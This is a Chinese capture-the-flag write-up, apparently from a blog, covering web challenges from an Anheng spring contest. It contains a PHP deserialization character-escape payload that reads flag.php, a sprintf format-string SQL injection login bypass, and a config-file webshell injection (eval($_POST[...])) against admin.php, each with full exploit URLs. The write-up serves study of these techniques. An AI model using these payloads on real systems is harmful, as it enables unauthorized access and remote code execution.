安恆四月春季戰 - web
Ezunserialize
打開獲取到源碼:
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a))));
可以看見有替換!!!是的沒錯,又是反序列化字符逃逸~~~
\0\0\0本來是6個字符,但是被替換成chr(0) . '*' . chr(0)
之後只有三個,,
而且他的write先調用,read後調用,
如下:
我們username傳入27個\0,password傳入1234";s:3:"age";payload
由於chr(0)不可見,用文字代替了
O:1:"A":2:{s:8:"username";s:54:"27個字符";s:8:"password";s:22:"1234";s:3:"age";payload;}
這個反序列化的payload好構造:
<?php
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b;
function __construct(){
$this->b = new C();
}
}
class C{
public $c;
function __construct(){
$this->c = "flag.php";
}
}
$a = new A("123",new B());
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
之後將這個payload進行添加進去即可~
本題的payload:
a = \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
b = 124";s:3:"age";O:1:"A":2:{s:8:"username";s:3:"123";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
http://183.129.189.60:10001/index.php?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=124%22;s:3:%22age%22;O:1:%22A%22:2:{s:8:%22username%22;s:3:%22123%22;s:8:%22password%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}}
得到flag:
babytricks
這道題目沒有做出來,這裏記一下考點,,,,
一、格式化字符串
打開源碼可以看見sql語句:
select * from user where username='$user' and password='%s'
由於題目過濾了單引號,還有反斜槓,還有下劃線等等,,常規注入就不行了,,,,
格式化字符串,採用佔位符:%1$
把引號給吞了,代碼如下:
<?php
$user = "%1$";
$pass = " or 1=1#";
$sql = "select * from user where username='$user' and password='%s'";
echo sprintf( $sql, $pass) ;
運行結果:
select * from user where username='nd password=' or 1=1#'
由於這裏or也被過濾了,所以我們可以使用^0
,如下當我們查詢一個不存在的列名時,也能查詢成功:
構造username=%1$&password=^0#
就能得到後臺的賬號密碼
二:單行模式getshell
後臺登錄之後我們就能得到源碼:
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>
這個微笑師傅和p牛大神都寫過文章~~ 膜拜Orz
經典寫配置漏洞與幾種變形
小密圈經典寫配置漏洞與幾種變形學習
原理和payload文中已經說得很清楚了!!!再次膜拜Orz
payload:
http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[y1ng]);
http://183.129.189.60:10006/admin/admin.php?shell=$0
就能getshell了~~~ 簡直不要太秀!!!
三、bypass disable_functions
官方wp出來再來填吧,說是有直播,期待ing!暫略~~